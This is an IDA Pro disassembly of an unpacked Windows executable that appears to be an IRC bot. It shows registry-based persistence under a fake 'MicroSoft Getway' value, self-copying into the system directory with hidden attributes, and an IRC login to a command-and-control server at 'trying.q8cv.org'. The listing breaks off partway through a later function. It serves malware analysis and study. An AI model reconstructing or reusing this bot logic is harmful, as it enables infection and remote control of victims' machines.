;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	897E860035CD66383E3C8B010BD975D9

; File Name   :	u:\work\897e860035cd66383e3c8b010bd975d9_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000E0000 ( 917504.)
; Section size in file		: 000E0000 ( 917504.)
; Offset to raw	data for section: 00001000
; Flags	C00002E0: Text Data Bss	Comment	Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_XPack0		segment	para public 'BSS' use32
		assume cs:_XPack0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_XPack0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_40121E+346p
					; sub_4189E4+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi


loc_401006:				; DATA XREF: sub_4F9DFA+122o
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aMicrosoftGetwa ; "MicroSoft Getway	Dire"


loc_401010:				; CODE XREF: sub_401000+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_42A054[esi]
		push	dword_42A050[esi]
		call	dword_4CE2BC	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_401051
		push	[ebp+arg_0]
		call	sub_41B650
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CE32C	; RegSetValueExA
		jmp	short loc_40105B
; ---------------------------------------------------------------------------


loc_401051:				; CODE XREF: sub_401000+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_4CE26C	; RegDeleteValueA


loc_40105B:				; CODE XREF: sub_401000+4Fj
		push	[ebp+var_4]
		call	dword_4CE2E4	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_401010
		pop	edi


loc_40106D:				; DATA XREF: .XPack:loc_4FBA06w
					; sub_4FBD32+14r ...
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401071	proc near		; CODE XREF: sub_4010AA+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_4010A3
		mov	ecx, 0FFh
		push	ebx


loc_401088:				; CODE XREF: sub_401071+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_428238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401088
		pop	ebx


loc_4010A3:				; CODE XREF: sub_401071+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_401071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AA	proc near		; CODE XREF: sub_4169AB+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BB45
		mov	[esp+10h+var_10], offset dword_42A068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BB32
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_4010F5


loc_4010CF:				; CODE XREF: sub_4010AA+37j
		xor	eax, eax
		jmp	short loc_401116
; ---------------------------------------------------------------------------


loc_4010D3:				; CODE XREF: sub_4010AA+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B872
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010CF
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B78A
		add	esp, 10h


loc_4010F5:				; CODE XREF: sub_4010AA+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4010D3
		dec	ebx
		push	ebx
		push	esi
		call	sub_401071
		push	esi
		mov	ebx, eax
		call	sub_41B721
		push	edi
		call	sub_41B6CB
		add	esp, 10h
		mov	eax, ebx


loc_401116:				; CODE XREF: sub_4010AA+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111A	proc near		; DATA XREF: sub_40121E+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_441254
		call	dword_4CE3A0	; closesocket
		call	sub_40B417
		call	dword_4CE260	; WSACleanup
		call	dword_4CE260	; WSACleanup
		mov	ebx, dword_428080
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BC00
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_4404C4
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_42807C	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_428078	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_428074	; CreateProcessA
		test	eax, eax
		jz	short loc_4011DF
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]


loc_4011D2:				; DATA XREF: sub_4F9FE9+1Dr
		mov	esi, dword_428070
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011DF:				; CODE XREF: sub_40111A+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_4404C0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_42806C	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_401202:				; DATA XREF: .XPack0:0042A004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418D19
		pop	ecx
		mov	dword_4CE048, eax
		pop	ecx
		retn
sub_40111A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40121E	proc near		; CODE XREF: sub_41DFD3+C9p

var_984		= byte ptr -984h
var_880		= byte ptr -880h
var_87F		= byte ptr -87Fh
var_6F0		= byte ptr -6F0h
var_5F0		= byte ptr -5F0h
var_4EC		= byte ptr -4ECh
var_3EC		= byte ptr -3ECh
var_2E8		= byte ptr -2E8h
var_1E4		= byte ptr -1E4h
var_E0		= dword	ptr -0E0h
var_D4		= dword	ptr -0D4h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 984h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40111A
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4280B0
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CE04C, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		call	sub_4097DE
		push	2
		call	dword_4CE3B4	; SetErrorMode
		push	7530h
		push	offset dword_42A990
		push	ebx
		push	ebx
		call	dword_4280AC	; CreateMutexA
		push	eax
		call	dword_4280A8	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40129E
		push	1
		call	dword_42806C	; ExitProcess


loc_40129E:				; CODE XREF: sub_40121E+76j
		lea	eax, [ebp+var_880]
		push	eax
		push	202h
		call	dword_4CE278	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4017B6
		cmp	[ebp+var_880], 2
		jnz	loc_4017B0
		xor	eax, eax
		mov	al, [ebp+var_87F]
		cmp	al, 2
		jnz	loc_4017B0
		mov	esi, 104h
		lea	eax, [ebp+var_3EC]
		push	esi
		push	eax
		call	dword_42807C	; GetSystemDirectoryA
		lea	eax, [ebp+var_2E8]
		push	esi
		push	eax
		push	ebx
		call	dword_4280A4	; GetModuleHandleA
		push	eax
		call	dword_428078	; GetModuleFileNameA
		lea	eax, [ebp+var_4EC]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41C041
		lea	eax, [ebp+var_4EC]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		push	offset dword_42B478
		lea	eax, [ebp+var_5F0]
		push	esi
		push	eax
		call	sub_41BFF0
		lea	eax, [ebp+var_3EC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	sub_41BF70
		add	esp, 30h
		test	eax, eax
		jnz	loc_401501
		cmp	dword_42A978, ebx
		mov	esi, offset byte_42AA54
		jz	short loc_401396
		push	esi
		xor	edi, edi
		call	sub_41B650
		sub	eax, 4
		pop	ecx
		jz	short loc_401396


loc_401373:				; CODE XREF: sub_40121E+176j
		call	sub_41BF52
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_42AA54[edi], dl
		inc	edi
		call	sub_41B650
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401373


loc_401396:				; CODE XREF: sub_40121E+145j
					; sub_40121E+153j
		lea	eax, [ebp+var_3EC]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E4]
		push	offset dword_42B470
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		lea	eax, [ebp+var_1E4]
		push	eax
		call	dword_4280A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013D6
		lea	eax, [ebp+var_1E4]
		push	80h
		push	eax
		call	dword_42809C	; SetFileAttributesA


loc_4013D6:				; CODE XREF: sub_40121E+1A4j
		mov	esi, dword_428098
		xor	edi, edi
		jmp	short loc_401402
; ---------------------------------------------------------------------------


loc_4013E0:				; CODE XREF: sub_40121E+1F7j
		call	dword_428094	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_401417
		cmp	eax, 20h
		jz	short loc_4013F4
		cmp	eax, 5
		jnz	short loc_401417


loc_4013F4:				; CODE XREF: sub_40121E+1CFj
		xor	edi, edi
		push	3A98h
		inc	edi
		call	dword_428080	; Sleep


loc_401402:				; CODE XREF: sub_40121E+1C0j
		lea	eax, [ebp+var_1E4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_4013E0


loc_401417:				; CODE XREF: sub_40121E+1CAj
					; sub_40121E+1D4j
		lea	eax, [ebp+var_1E4]
		push	eax
		call	sub_41891E
		pop	ecx
		lea	eax, [ebp+var_1E4]
		push	7
		push	eax
		call	dword_42809C	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_41BC00
		push	44h
		lea	eax, [ebp+var_E0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BC00
		mov	[ebp+var_E0], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_D4], offset byte_4404C4
		mov	[ebp+var_B4], esi
		mov	[ebp+var_B0], bx
		call	dword_428090	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_42808C	; OpenProcess
		lea	ecx, [ebp+var_2E8]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		lea	eax, [ebp+var_984]
		push	offset dword_42B464
		push	eax
		call	sub_41BEF6
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_3EC]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_984]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		call	dword_428074	; CreateProcessA
		test	eax, eax
		jz	short loc_401501
		push	0C8h
		call	dword_428080	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_428070
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_4CE260	; WSACleanup
		push	ebx
		call	dword_42806C	; ExitProcess


loc_401501:				; CODE XREF: sub_40121E+134j
					; sub_40121E+2B9j
		cmp	dword_4DE5E0, 2
		jle	short loc_40154D
		mov	eax, dword_4DE5E4
		push	dword ptr [eax+4]
		call	sub_41BDE9
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4280A8	; WaitForSingleObject
		push	esi
		call	dword_428070	; CloseHandle
		mov	eax, dword_4DE5E4
		cmp	[eax+8], ebx
		jz	short loc_40154D
		push	7D0h
		call	dword_428080	; Sleep
		mov	eax, dword_4DE5E4
		push	dword ptr [eax+8]
		call	dword_428088	; DeleteFileA


loc_40154D:				; CODE XREF: sub_40121E+2EAj
					; sub_40121E+314j
		cmp	dword_42A97C, ebx
		jz	short loc_40156A
		cmp	dword_4CE3D4, ebx
		jnz	short loc_40156A
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_401000
		pop	ecx


loc_40156A:				; CODE XREF: sub_40121E+335j
					; sub_40121E+33Dj
		lea	eax, [ebp+var_9C]
		push	offset dword_42B430
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_9C]
		push	ebx
		push	eax


loc_401584:				; DATA XREF: sub_4F9FE9+B0w
		call	sub_40B254
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_415F45
		push	0B80h
		push	ebx
		push	offset dword_4404C8
		call	sub_41BC00
		lea	eax, [ebp+var_9C]
		push	offset unk_42B3F4
		push	eax


loc_4015B1:				; DATA XREF: .XPack:004FA81Fr
					; .XPack:loc_4FACC9r
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_9C]
		push	1
		push	eax
		call	sub_40B254
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_428084
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41A072
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_44125C[esi], eax
		jnz	short loc_40160A
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset unk_42B398
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_40160A:				; CODE XREF: sub_40121E+3CFj
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_415F45
		push	2
		call	sub_40B496
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40168F
		lea	eax, [ebp+var_9C]
		push	offset unk_42B350
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_9C]
		push	2
		push	eax
		call	sub_40B254
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410EAC
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_44125C[esi], eax
		jnz	short loc_401682
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset unk_42B300
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_401682:				; CODE XREF: sub_40121E+447j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_415F45
		pop	ecx


loc_40168F:				; CODE XREF: sub_40121E+403j
		call	sub_41BF52
		push	7Fh
		and	eax, 3
		push	offset aTrying_q8cv_or ; "trying.q8cv.org"
		push	offset dword_4CE054
		mov	dword_4CE1BC, eax
		call	sub_41BC60
		mov	eax, dword_42A958
		push	3Fh
		mov	edi, offset dword_4CE0D4
		push	offset asc_42AA28 ; "#l#"
		push	edi
		mov	dword_4CE1A4, eax
		call	sub_41BC60
		push	3Fh
		mov	esi, offset dword_4CE114
		push	offset aL4mo	; "l4mo"
		push	esi
		call	sub_41BC60
		mov	dword_4CE1A8, ebx


loc_4016E1:				; CODE XREF: sub_40121E+53Ej
					; sub_40121E+588j
		add	esp, 24h


loc_4016E4:				; CODE XREF: sub_40121E+546j
		mov	[ebp+var_4], ebx


loc_4016E7:				; CODE XREF: sub_40121E+4FFj
		push	offset dword_4CE050
		mov	dword_4CE1B8, ebx
		call	sub_4017BF
		cmp	eax, 2
		jz	loc_4017AB
		cmp	dword_4CE1B8, ebx
		jz	short loc_40170B
		dec	[ebp+var_4]


loc_40170B:				; CODE XREF: sub_40121E+4E8j
		push	0BB8h
		call	dword_428080	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4016E7
		cmp	[ebp+var_C], ebx
		jz	short loc_40175E
		push	7Fh
		push	offset aTrying_q8cv_or ; "trying.q8cv.org"
		push	offset dword_4CE054
		call	sub_41BC60
		mov	eax, dword_42A958
		push	3Fh
		push	offset asc_42AA28 ; "#l#"
		push	edi
		mov	dword_4CE1A4, eax
		call	sub_41BC60
		push	3Fh
		push	offset aL4mo	; "l4mo"
		push	esi
		call	sub_41BC60
		mov	[ebp+var_C], ebx
		jmp	short loc_4016E1
; ---------------------------------------------------------------------------


loc_40175E:				; CODE XREF: sub_40121E+504j
		cmp	byte_42AA34, bl
		jz	loc_4016E4
		push	7Fh
		push	offset byte_42AA34
		push	offset dword_4CE054
		call	sub_41BC60
		mov	eax, dword_42A95C
		push	3Fh
		push	offset asc_42AA48 ; "#l#"
		push	edi
		mov	dword_4CE1A4, eax
		call	sub_41BC60
		push	3Fh
		push	offset aL4mo_0	; "l4mo"
		push	esi
		call	sub_41BC60
		mov	[ebp+var_C], 1
		jmp	loc_4016E1
; ---------------------------------------------------------------------------


loc_4017AB:				; CODE XREF: sub_40121E+4DCj
		call	sub_40B417


loc_4017B0:				; CODE XREF: sub_40121E+A1j
					; sub_40121E+B1j
		call	dword_4CE260	; WSACleanup


loc_4017B6:				; CODE XREF: sub_40121E+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40121E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017BF	proc near		; CODE XREF: sub_40121E+4D4p
					; DATA XREF: sub_401AA1+6522o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_4017E4:				; CODE XREF: sub_4017BF+E6j
					; sub_4017BF+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CE308	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A7C5
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401921
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BC00
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_42A98C
		push	dword_42A988
		push	eax
		call	sub_40AD20
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_441260
		push	edi
		push	eax
		call	sub_41BC60
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CE388	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_441254[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CE2B0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018AA
		push	esi
		call	dword_4CE3A0	; closesocket
		call	sub_40A7EE
		push	7D0h


loc_40189F:				; CODE XREF: sub_4017BF+146j
		call	dword_428080	; Sleep
		jmp	loc_4017E4
; ---------------------------------------------------------------------------


loc_4018AA:				; CODE XREF: sub_4017BF+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42B480
		call	sub_415FB9
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401925
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CE3A0	; closesocket
		test	edi, edi
		jz	loc_4017E4
		cmp	edi, 1
		jnz	short loc_401907
		push	0DBBA0h
		jmp	short loc_40189F
; ---------------------------------------------------------------------------


loc_401907:				; CODE XREF: sub_4017BF+13Fj
		cmp	edi, 2
		jnz	loc_4017E4
		push	[ebp+var_34]
		call	sub_40B56A
		pop	ecx
		push	edi
		pop	eax


loc_40191B:				; CODE XREF: sub_4017BF+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401921:				; CODE XREF: sub_4017BF+5Aj
		xor	eax, eax
		jmp	short loc_40191B
sub_4017BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401925	proc near		; CODE XREF: sub_4017BF+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C190
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401943:				; CODE XREF: sub_401925+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401943
		cmp	byte_4CE1B4, bl
		jz	short loc_40196A
		push	offset byte_4CE1B4
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_4096FD
		add	esp, 0Ch


loc_40196A:				; CODE XREF: sub_401925+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AD20
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41BEF6
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4019D4
		push	[ebp+arg_0]
		call	dword_4CE3A0	; closesocket
		push	1388h
		call	dword_428080	; Sleep


loc_4019CD:				; CODE XREF: sub_401925+D9j
					; sub_401925+153j
		xor	eax, eax


loc_4019CF:				; CODE XREF: sub_401925+16Fj
					; sub_401925+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4019D4:				; CODE XREF: sub_401925+92j
					; sub_401925+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE320	; recv
		test	eax, eax
		jle	short loc_4019CD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_418615
		pop	ecx


loc_401A14:				; DATA XREF: .XPack:004FA8D5o
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_4019D4
		lea	edi, [ebp+var_A90]


loc_401A25:				; CODE XREF: sub_401925+165j
		xor	esi, esi
		inc	esi


loc_401A28:				; CODE XREF: sub_401925+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]


loc_401A3D:				; DATA XREF: .XPack:004FA14Dr
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401AA1
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A6B
		push	7D0h
		call	dword_428080	; Sleep
		jmp	short loc_401A28
; ---------------------------------------------------------------------------


loc_401A6B:				; CODE XREF: sub_401925+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401A99
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401A91
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019CD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A25
		jmp	loc_4019D4
; ---------------------------------------------------------------------------


loc_401A91:				; CODE XREF: sub_401925+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_4019CF
; ---------------------------------------------------------------------------


loc_401A99:				; CODE XREF: sub_401925+149j
		push	2
		pop	eax
		jmp	loc_4019CF
sub_401925	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AA1	proc near		; CODE XREF: sub_401925+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
